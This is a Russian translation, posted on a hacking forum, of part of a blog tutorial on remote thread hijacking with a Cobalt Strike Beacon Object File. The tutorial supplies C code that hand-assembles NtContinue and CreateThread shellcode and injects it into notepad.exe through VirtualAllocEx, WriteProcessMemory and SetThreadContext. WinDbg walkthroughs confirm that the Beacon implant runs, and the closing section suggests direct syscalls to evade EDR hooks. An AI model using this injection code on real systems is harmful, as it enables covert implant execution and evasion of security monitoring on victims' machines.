Это здорово, и мы почти свободны. Однако проблема остается в теме восстановления потока. В конце концов, мы берем поток, который раньше выполнял какое-то действие, без нашего ведома, и заставляли его делать что-то еще. Это, безусловно, приведет к выполнению нашего шелл-кода, однако также будет иметь некоторые непредвиденные последствия. После выполнения нашего шелл-кода регистры ЦП потока вместе с другой информацией будут вне контекста действий, которые он выполнял перед выполнением. Это приведет к тому, что процесс, содержащий этот поток, желаемый удаленный процесс, в который мы внедряем, скорее всего, выйдет из строя. Чтобы избежать этого, мы можем использовать недокументированную функцию ntdll.dll, NtContinue. Как указано в статье блога R.I.P ROP: CET Internals в Windows 20H1 Алекса Ионеску и Ярдена Шафира, NtContinue используется для возобновления выполнения после исключения или прерывания. Это идеально подходит для нашего случая использования, поскольку мы можем злоупотреблять этой функцией. Поскольку наш поток будет искажен, вызов этой функции с сохраненной ранее записью CONTEXT восстановит выполнение должным образом. NtContinue принимает указатель на запись CONTEXT и параметр, который позволяет программисту установить, следует ли удалить состояние Alerted из потока, как указано в его прототипе функции. Нам не нужно беспокоиться о втором параметре для наших целей, поскольку мы установим этот параметр в FALSE. Однако остается проблема первого параметра, PCONTEXT.

Как вы можете вспомнить в предыдущей части этого сообщения в блоге, мы сначала сохранили запись CONTEXT для нашего захваченного потока в нашем коде BOF. Однако проблема в том, что эта запись CONTEXT находится в текущем процессе, а наш шелл-код будет выполняться в желаемом удаленном процессе. Поскольку каждый процесс пользовательского режима имеет собственное частное адресное пространство, адрес этой записи CONTEXT не виден удаленному процессу, в который мы вводим. Кроме того, поскольку NtContinue не принимает параметр HANDLE, он ожидает, что поток, для которого он возобновит выполнение, является текущим вызывающим потоком, который будет в удаленном процессе. Это означает, что нам нужно будет встроить запись CONTEXT в нашу окончательную полезную нагрузку, которая будет внедрена в удаленный процесс. Кроме того, поскольку NtContinue восстанавливает выполнение вызывающего потока, именно поэтому нам необходимо встроить шелл-код NtContinue в конечную полезную нагрузку, которая будет помещена в удаленный процесс. Таким образом, когда захваченный поток выполняет процедуру NtContinue, произойдет восстановление захваченного потока, поскольку это вызывающий поток. С учетом сказанного, давайте перейдем к разработке процедуры.

Как синоним нашей процедуры CreateThread, давайте создадим 64-байтовый буфер и новый счетчик.
BYTE ntContinue[64] = { NULL };
int i = 0;

Как упоминалось ранее, эта процедура NtContinue будет тем фрагментом кода, который фактически вызывает процедуру CreateThread. Когда эта подпрограмма NtContinue выполняет вызов подпрограммы CreateThread, она помещает в стек адрес возврата, который будет следующей инструкцией в этом шеллкоде NtContinue. Когда шелл-код CreateThread выполняет свой возврат, выполнение будет продолжено внутри шелл-кода NtContinue. Имея это в виду, давайте начнем с использования near call, который использует относительную адресацию, для вызова шелл-кода CreateThread.

Первая цель - запустить процедуру NtContinue с вызова процедуры CreateThread. Для этого нам сначала нужно вычислить расстояние от этой инструкции вызова до местоположения шелл-кода CreateThread. Чтобы сделать это должным образом, нам нужно принять во внимание одну вещь, а именно, мы должны также иметь с собой сохраненную запись CONTEXT для использования в вызове NtContinue. Для этого воспользуемся процедурой ближнего вызова. Ближайшие вызовы в ассемблере не вызывают абсолютный адрес, например, адрес функции Windows API. Вместо этого инструкции ближнего вызова могут использоваться для вызова функции относительно адреса в указателе инструкции. По сути, если мы можем вычислить расстояние в DWORD до подпрограммы CreateThread, мы можем просто вызвать код операции 0xe8 вместе с DWORD для представления расстояния от текущего места в памяти, чтобы динамически вызывать подпрограмму CreateThread! Причина, по которой мы используем DWORD, которое является 32-битным значением, заключается в том, что набор инструкций x86, который можно использовать в 64-битных системах, допускает 16-битный или 32-битный относительный виртуальный адрес (RVA). Однако это 32-битное значение расширяется знаком до 64-битного значения в 64-битных системах. Более подробную информацию о различных механизмах вызова в системах x86_64 можно найти здесь. Смещение для нашего шелл-кода будет размером нашей подпрограммы NtContinue плюс размер записи CONTEXT. По сути, это "перепрыгнет" код NtContinue и запись CONTEXT, чтобы сначала выполнить процедуру CreatThread. Соответствующие инструкции, которые нам нужны, следующие.

// First calculate the size of a CONTEXT record and NtContinue routine
// Then, "jump over shellcode" by calling the buffer at an offset of the calculation (64 bytes + CONTEXT size)

// 0xe8 is a near call, which uses RIP as the base address for RVA calculations and dynamically adds the offset specified by shellcodeOffset
ntContinue[i++] = 0xe8;

// Subtracting to compensate for the near call opcode (represented by i) and the DWORD used for relative addressing
DWORD shellcodeOffset = sizeof(ntContinue) + sizeof(CONTEXT) - sizeof(DWORD) - i;
mycopy(ntContinue + i, &shellcodeOffset, sizeof(shellcodeOffset));

// Update counter with location buffer can be written to
i += sizeof(shellcodeOffset);

Хотя приведенный выше код практически представляет то, о чем было сказано, вы можете видеть, что размер DWORD и значение i вычитаются из ранее упомянутого смещения. Это потому, что вся процедура NtContinue занимает 64 байта. К тому времени, когда код завершит выполнение всей инструкции вызова, произойдет несколько вещей. Во-первых, будет выполнена сама инструкция вызова 0xe8. Это переводит нас с начала нашей процедуры, байта 1/64, на второй байт нашей процедуры, байт 2/64. Подпрограмма CreateThread, которую нам нужно вызвать, теперь на один байт ближе, чем при запуске, и это повлияет на наши вычисления. В приведенном выше наборе инструкций этот байт был скомпенсирован путем вычитания уже выполненного кода операции (текущего значения i). Кроме того, четыре байта занимают само фактическое смещение, aDWORD, которое представляет собой 4-байтовое значение. Это означает, что выполнение теперь будет в байте 5/64 (один байт для кода операции и четыре байта для DWORD). Чтобы компенсировать это, размер DWORD был вычтен из общего смещения. Если задуматься, в этом есть смысл. К моменту завершения выполнения вызова подпрограмма Create Thread будет на пять байтов ближе. Если бы мы использовали исходное смещение, мы бы превзошли процедуру CreateThread на пять байтов. Кроме того, мы обновляем переменную счетчика i, чтобы она знала, сколько байтов мы записали в общую процедуру NtContinue. Мы рассмотрим все эти инструкции внутри отладчика, когда закончим разработку этой небольшой процедуры шелл-кода.

На этом этапе подпрограмма NtContinue должна была вызвать подпрограмму CreateThread. Подпрограмма CreateThread вернет выполнение обратно подпрограмме NtContinue, и будут выполнены следующие инструкции подпрограммы NtContinue.

Следующие несколько инструкций представляют собой своего рода "хитрый" метод передачи первого параметра, указателя на нашу запись CONTEXT, в функцию NtContinue. Мы будем использовать процедуру call/pop, которая является очень документированным методом, о котором можно прочитать здесь и здесь. Как мы знаем, для наших целей мы должны поместить первое значение в регистр RCX - в соответствии с соглашением о вызовах __fastcall. Это означает, что нам нужно как-то вычислить адрес записи CONTEXT. Для этого мы фактически используем другую инструкцию ближнего вызова, чтобы вызвать байт, следующий сразу после инструкции вызова.

// Near call instruction to call the address directly after, which is used to pop the pushed return address onto the stack with a RVA from the same page (call pushes return address onto the stack)
ntContinue[i++] = 0xe8;
ntContinue[i++] = 0x00;
ntContinue[i++] = 0x00;
ntContinue[i++] = 0x00;
ntContinue[i++] = 0x00;

Инструкция, которую будет выполнять этот вызов, является следующей инструкцией, которая будет выполняться немедленно, это будет добавленная нами инструкция pop rcx. Кроме того, значение i в этот момент сохраняется в новой переменной с именем contextOffset.

// The previous call instruction pushes a return address onto the stack
// The return address will be the address, in memory, of the upcoming pop rcx instruction
// Since current execution is no longer at the beginning of the ntContinue routine, the distance to the CONTEXT record is no longer 64-bytes
// The address of the pop rcx instruction will be used as the base for RVA calculations to determine the distance between the value in RCX (which will be the address of the 'pop rcx' instruction) to the CONTEXT record
// Obtaining the current amount of bytes executed thus far
int contextOffset = i;

// __fastcall calling convention
// NtContinue requires a pointer to a context record and an alert state (FALSE in this case)
// pop rcx (get return address, which isn't needed for anything, into RCX for RVA calculations)
ntContinue[i++] = 0x59;

Цель этого состоит в том, что инструкция call помещает адрес инструкции pop rcx в стек. Это адрес возврата этой функции. Поскольку следующая инструкция сразу после вызова - это pop rcx, она поместит значение в RSP, который теперь является адресом инструкции pop rcx из-за вызова POP_RCX_INSTRUCTION, помещающего ее в стек, в регистр RCX. Это нам помогает, так как теперь у нас есть адрес памяти, который относительно близок к записи CONTEXT, которая будет расположена сразу после вызова NtContinue.

Теперь, как мы знаем, исходное смещение записи CONTEXT от самого начала всей подпрограммы NtContinue составляло 64 байта. Это потому, что мы скопируем запись CONTEXT непосредственно после 64-байтового массива BYTE, ntContinue, в наш последний буфер. Однако прямо сейчас, если мы добавим 64 байта к значению в RCX, мы превысим адрес записи CONTEXT. Это связано с тем, что мы выполнили довольно много инструкций 64-байтового шелл-кода, что означает, что теперь мы ближе к записи CONTEXT, чем когда мы начинали. Чтобы компенсировать это, мы можем добавить исходное 64-байтовое смещение в регистр RCX, а затем вычесть значение contextOffset, которое представляет общее количество кодов операций, выполненных до этого момента. Это даст нам правильное расстояние от нашего текущего местоположения до записи CONTEXT.

// The address of the pop rcx instruction is now in RCX
// Adding the distance between the CONTEXT record and the current address in RCX
// add rcx, distance to CONTEXT record
ntContinue[i++] = 0x48;
ntContinue[i++] = 0x83;
ntContinue[i++] = 0xc1;

// Value to be added to RCX
// The distance between the value in RCX (address of the 'pop rcx' instruction) and the CONTEXT record can be found by subtracting the amount of bytes executed up until the 'pop rcx' instruction and the original 64-byte offset
ntContinue[i++] = sizeof(ntContinue) - contextOffset;

Это поместит адрес записи CONTEXT в регистр RCX. Если ничего не вычислится, не волнуйтесь. Вскоре мы рассмотрим все, что есть внутри WinDbg, чтобы визуально собрать все вместе.

Следующая цель - установить для аргумента функции RaiseAlert значение FALSE, которое имеет значение 0. Для этого мы снова воспользуемся побитовым XOR.

// xor rdx, rdx
// Set to FALSE
ntContinue[i++] = 0x48;
ntContinue[i++] = 0x31;
ntContinue[i++] = 0xd2;

Теперь осталось только вызвать NtContinue! Опять же, как и в случае с нашим вызовом CreateThread, мы можем разрешить адрес API внутри текущего процесса и передать возвращаемое значение удаленному процессу, как если бы каждый процесс отображал свои собственные библиотеки DLL Windows, адреса одинаковы для всех система.

Набор инструкций mov rax является первым.

// Place NtContinue into RAX
ntContinue[i++] = 0x48;
ntContinue[i++] = 0xb8;

Затем мы разрешаем адрес NtContinue, стиль Beacon Object File.
// Although the thread is in a remote process, the Windows DLLs mapped to the Beacon process, although private, will correlate to the same virtual address
unsigned long long ntcontinueAddress = KERNEL32$GetProcAddress(KERNEL32$GetModuleHandleA("ntdll"), "NtContinue");

// Error handling. If NtContinue cannot be resolved, abort
if (ntcontinueAddress == NULL)
{
BeaconPrintf(CALLBACK_ERROR, "Error! Unable to resolve NtContinue.\n", KERNEL32$GetLastError());
}

Затем, используя пользовательскую функцию mycopy, мы можем скопировать адрес NtContinue по правильному индексу в массиве BYTE на основе значения i.

// Copy the address of NtContinue function address to the NtContinue routine buffer
mycopy(ntContinue + i, &ntcontinueAddress, sizeof(ntcontinueAddress));

// Update the counter with the correct offset the next bytes should be written to
i += sizeof(ntcontinueAddress);

На этом этапе все так же просто, как просто выделить некоторое пространство стека для хорошей оценки и вызвать значение в RAX, NtContinue!

// Allocate some space on the stack for the call to NtContinue
// sub rsp, 0x20
ntContinue[i++] = 0x48;
ntContinue[i++] = 0x83;
ntContinue[i++] = 0xec;
ntContinue[i++] = 0x20;

// call NtContinue
ntContinue[i++] = 0xff;
ntContinue[i++] = 0xd0;

Все, что осталось, это процедура выравнивания стека внутри вызова CreateThread! Это выравнивание должно гарантировать, что указатель стека выровнен по 16 байт, когда вызов из подпрограммы NtContinue вызывает подпрограмму CreateThread.

Сойдутся ли звезды?

Следующая процедура выполнит побитовое И с указателем стека, чтобы обеспечить выровненное 16-байтовое значение RSP внутри подпрограммы CreateThread, очистив последние 4 бита адреса.

// Create 4 byte buffer to perform bitwise AND with RSP to ensure 16-byte aligned stack for the call to shellcode
// and rsp, 0FFFFFFFFFFFFFFF0
stackAlignment[0] = 0x48;
stackAlignment[1] = 0x83;
stackAlignment[2] = 0xe4;
stackAlignment[3] = 0xf0;

После завершения выравнивания стека все, что остается сделать, это вызвать malloc для создания большого буфера, который будет содержать все наши пользовательские подпрограммы, ввести последний буфер и вызвать SetThreadContext и ResumeThread для постановки в очередь!

// Allocating memory for final buffer
// Size of NtContinue routine, CONTEXT structure, stack alignment routine, and CreateThread routine
PVOID shellcodeFinal = (PVOID)MSVCRT$malloc(sizeof(ntContinue) + sizeof(CONTEXT) + sizeof(stackAlignment) + sizeof(createThread));

// Copy NtContinue routine to final buffer
mycopy(shellcodeFinal, ntContinue, sizeof(ntContinue));

// Copying CONTEXT structure, stack alignment routine, and CreateThread routine to the final buffer
// Allocation is already a pointer (PVOID) - casting to a DWORD64 type, a 64-bit address, in order to write to the buffer at a desired offset
// Using RtlMoveMemory for the CONTEXT structure to avoid casting to something other than a CONTEXT structure
NTDLL$RtlMoveMemory((DWORD64)shellcodeFinal + sizeof(ntContinue), &cpuRegisters, sizeof(CONTEXT));
mycopy((DWORD64)shellcodeFinal + sizeof(ntContinue) + sizeof(CONTEXT), stackAlignment, sizeof(stackAlignment));
mycopy((DWORD64)shellcodeFinal + sizeof(ntContinue) + sizeof(CONTEXT) + sizeof(stackAlignment), createThread, sizeof(createThread));

// Declare a variable to represent the final length
int finalLength = (int)sizeof(ntContinue) + (int)sizeof(CONTEXT) + sizeof(stackAlignment) + sizeof(createThread);

Прежде чем двигаться дальше, обратите внимание на вызов RtlMoveMemory, когда дело доходит до копирования записи CONTEXT в буфер. Это связано с тем, что mycopy прототипируется для доступа к исходным и целевым буферам с типами данных aschar *. Однако прототип RtlMoveMemory принимает типы данных VOID UNALIGNED, что указывает на то, что можно использовать практически любой тип данных, что идеально для нас, так как CONTEXT - это структура, а не char *.

Приведенный выше код создает буфер с размером наших подпрограмм и копирует его в подпрограмму с правильными смещениями, причем сначала копируется подпрограмма NtContinue, за которой следует сохраненная запись CONTEXT захваченного потока, подпрограмма выравнивания стека и Процедура CreateThread. После этого шелл-код вводится в удаленный процесс.

Сначала снова вызывается VirtualAllocEx.

// Inject the shellcode into the target process with read/write permissions
PVOID allocateMemory = KERNEL32$VirtualAllocEx(
processHandle,
NULL,
finalLength,
MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE
);

if (allocateMemory == NULL)
{
BeaconPrintf(CALLBACK_ERROR, "Error! Unable to allocate memory in the remote process. Error: 0x%lx\n", KERNEL32$GetLastError());
}

Во-вторых, WriteProcessMemory вызывается для записи шелл-кода в выделение.

// Write shellcode to the new allocation
BOOL writeMemory = KERNEL32$WriteProcessMemory(
processHandle,
allocateMemory,
shellcodeFinal,
finalLength,
NULL
);

if (!writeMemory)
{
BeaconPrintf(CALLBACK_ERROR, "Error! Unable to write memory to the buffer. Error: 0x%llx\n", KERNEL32$GetLastError());
}

После этого перед вызовом SetThreadContext устанавливаются RSP и RIP. RIP будет указывать на наш последний буфер, и после восстановления потока значение в RIP будет выполнено.

// Allocate stack space by subtracting the stack by 0x2000 bytes
cpuRegisters.Rsp -= 0x2000;

// Change RIP to point to our shellcode and typecast buffer to a DWORD64 because that is what a CONTEXT structure uses
cpuRegisters.Rip = (DWORD64)allocateMemory;

Обратите внимание, что RSP вычитается на 0x2000 байт. Сообщение в блоге @zerosum0x0 на ThreadContinue использует эту функцию, чтобы дать стеку передышку для выполнения кода, и я решил использовать и ее, чтобы избежать серьезных проблем.

После этого все, что остается сделать, это вызвать SetThreadContext, ResumeThread и FREE!

SetThreadContext

// Set RIP
BOOL setRip = KERNEL32$SetThreadContext(
desiredThread,
&cpuRegisters
);

// Error handling
if (!setRip)
{
BeaconPrintf(CALLBACK_ERROR, "Error! Unable to set the target thread's RIP register. Error: 0x%lx\n", KERNEL32$GetLastError());
}

ResumeThread

// Call to ResumeThread()
DWORD resume = KERNEL32$ResumeThread(
desiredThread
);

free

// Free the buffer used for the whole payload
MSVCRT$free(
shellcodeFinal
);

Кроме того, вы всегда должны очищать дескрипторы в своем коде, но особенно в объектных файлах маячков, поскольку они «чувствительны».

// Close handle
KERNEL32$CloseHandle(
desiredThread
);


// Close handle
KERNEL32$CloseHandle(
processHandle
);

Время отладки

Давайте воспользуемся экземпляром notepad.exe в качестве целевого процесса и прикрепим его к WinDbg.

Beacon13.png
Beacon14.png


Для наших целей PID, который мы хотим ввести, равен 7548. После загрузки нашего Aggressor Script, разработанного ранее, мы можем использовать команду cThreadHijack 7548 TESTING, где TESTING - это имя HTTP-прослушивателя, с которым будет взаимодействовать Beacon.

Beacon15.png


Итак, наш BOF успешно запустился. Теперь давайте посмотрим, с чем мы работаем в WinDbg. Как мы видим, адрес нашего последнего буфера отображается в строке вывода Current RIP: 0x1f027f20000. Давайте посмотрим на это в WinDbg.

Beacon16.png


Круто! Вроде все на месте. Как показано в инструкции mov rax, offset ntdll!NtContinue, мы можем увидеть нашу подпрограмму NtContinue. Начало подпрограммы NtContinue должно вызывать адрес выравнивания стека и шелл-код CreateThread, как упоминалось ранее в этом сообщении в блоге. Давайте посмотрим, на что ссылается адрес 0x000001f027f20510, то есть на вызываемый адрес памяти.


Beacon17.png


Отлично! Как видно из инструкции и rsp, 0FFFFFFFFFFFFFFFF0, наряду с адресом KERNEL32!CreateThreadStub, процедура NtContinue сначала вызовет процедуры выравнивания стека и CreateThread. В этом случае все готово! Давайте теперь приступим к выполнению кода.

Beacon18.png


После вызова SetThreadContext, который изменяет регистр RIP для выполнения нашего шелл-кода, мы можем видеть, что выполнение достигло первого вызова, который вызовет процедуры выравнивания стека и CreateThread. Как мы знаем, при пошаговом выполнении этого вызова адрес возврата будет помещен в стек. Как упоминалось ранее, это будет адрес следующей инструкции call 0x000001f027f2000a. Когда процедура CreateThread вернется, она вернется по этому адресу. После выполнения инструкции мы видим, что адрес следующего вызова помещается в стек.

Beacon19.png



Затем выполнение достигает побитовой инструкции AND. Как видно из приведенного выше изображения и rsp, 0FFFFFFFFFFFFFFF0 является избыточным, так как указатель стека уже выровнен по 16 байтам (последние 4 бита уже установлены в 0). При пошаговом выполнении побитовых операций XOR RCX и RDX устанавливаются в 0.

Beacon20.png


Как мы знаем из прототипа CreateThread, параметр lpStartAddress является указателем на наш шелл-код. Глядя на изображение выше, мы видим, что третий аргумент, который будет загружен в R8, - это 0x1f027ee0000. Дизассемблинг этого адреса в отладчике показывает, что это наш имплант Beacon, который был введен ранее! Чтобы проверить это, вы можете вручную сгенерировать необработанный бесэтапный артефакт Beacon в Cobalt Strike и запустить его через hexdump, чтобы проверить соответствие первых нескольких кодов операций.


Beacon21.png


После пошагового выполнения инструкции значение загружается в регистр R8. Следующая инструкция устанавливает R9 в 0 через xor r9, r9.

Beacon22.png


Кроме того, [RSP + 0x20] и [RSP + 0x28] устанавливаются в 0 путем копирования значения R9, которое теперь равно 0, в эти места. Вот как выглядят [RSP + 0x20] и [RSP + 0x28] перед инструкциями mov [rsp + 0x20], r9 и mov [rsp + 0x28], r9 и после них.

Beacon23.png


После этого CreateThread помещается в RAX и вызывается. Примечание CreateThread на самом деле является CreateThreadStub. Это связано с тем, что большинство прежних функций kernel32.dll было помещено в DLL под названием KERNELBASE.DLL. Эти "заглушки" по сути просто перенаправляют выполнение на правильную функцию KERNELBASE.dll.

Beacon24.png


Переход через функцию с помощью p в WinDbg помещает возвращаемое значение CreateThread в RAX - дескриптор локального потока, содержащего имплант Beacon.

Beacon25.png


Beacon26.png


После завершения выполнения нашей подпрограммы NtContinue мы получим обратный вызов Beacon в результате этого потока.

Кроме того, мы можем видеть, что RSP установлен на первую "настоящую" инструкцию нашей подпрограммы NtContinue. Команда ret, которая сейчас находится в RIP, примет указатель стека (RSP) и поместит его в RIP. Выполнение return перенаправляет выполнение обратно в подпрограмму NtContinue.

Beacon27.png


Как видно на изображении выше, следующая инструкция вызова вызывает инструкцию pop rcx. Эта инструкция вызова при выполнении помещает адрес инструкции pop rcx в стек в качестве адреса возврата.

Beacon28.png


Beacon29.png


Выполняя инструкцию pop rcx, мы видим, что RCX теперь содержит адрес в памяти инструкции pop rcx. Это будет базовый адрес, используемый в вычислениях RVA для разрешения адреса сохраненной записи CONTEXT.

Beacon30.png


Чтобы проверить правильность нашего смещения, мы можем использовать .cxr в WinDbg, чтобы узнать, является ли непрерывный блок памяти, расположенный в RCX + 0x36, на самом деле записью CONTEXT. Выбрано значение 0x36, так как это значение, которое в настоящее время будет добавлено в RCX, как было показано на несколько снимков экрана назад. Проверив с помощью WinDbg, мы увидим, что это так.

Beacon31.png


Если бы это было неправильное расположение записи CONTEXT, это расширение WinDbg не удалось бы, так как блок памяти не был бы правильно проанализирован.

Теперь, когда мы проверили, что наша запись CONTEXT находится в правильном месте, мы можем выполнить расчет RVA, чтобы добавить правильное расстояние к записи CONTEXT, то есть указатель затем сохраняется в RCX, выполняя параметр PCONTEXT в NtContinue.

Проходя через xor rdx, rdx, который устанавливает для параметра RaiseAlert NtContinue значение FALSE, выполнение переходит к инструкции call rax, которая вызывает NtContinue.

Beacon32.png


Нажатие g в отладчике показывает, что в notepad.exe отображается довольно много библиотек DLL.

Beacon33.png


Это имплант Beacon, разрешающий необходимые DLL для различных вызовов функций - это означает, что наш имплант Beacon был выполнен! Если мы вернемся к Cobalt Strike, мы увидим, что теперь у нас есть Beacon в контексте notepad.exe с тем же PID 7548!

Beacon34.png


Кроме того, на компьютере жертвы вы заметите, что notepad.exe полностью работоспособен! Мы успешно заставили удаленный поток выполнить нашу полезную нагрузку и восстановили ее за один раз.

Последние мысли

Очевидно, что этот метод не лишен недостатков. Для этого метода все еще существуют IOC, включая, среди прочего, вызов SetThreadContext. Однако это позволяет избежать каких-либо действий, которые создают удаленный поток, что по-прежнему полезно в большинстве ситуаций. Этот метод можно было бы развить дальше, возможно, с вызовом прямых системных вызовов вместо вызова этих API-интерфейсов, которые подвержены перехвату, с большинством продуктов EDR.

Кроме того, следует отметить, что, поскольку этот метод приостанавливает поток, а затем возобновляет его, вам, возможно, придется подождать от нескольких секунд до нескольких минут, чтобы поток успел приступить к выполнению. Непосредственное взаимодействие с процессом приведет к принудительному выполнению, но нацеливание на процессы Windows, которые часто выполняют выполнение, также является хорошей целью, чтобы избежать долгого ожидания.

Мне было очень весело реализовывать эту технику в BOF, и я очень рад, что у меня есть причина написать больше кода на C! Как всегда: мира, любви и позитива :).


Источник: https://connormcgarr.github.io/thread-hijacking/
Автор перевода: yashechka
Переведено специально для https://xss.pro
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх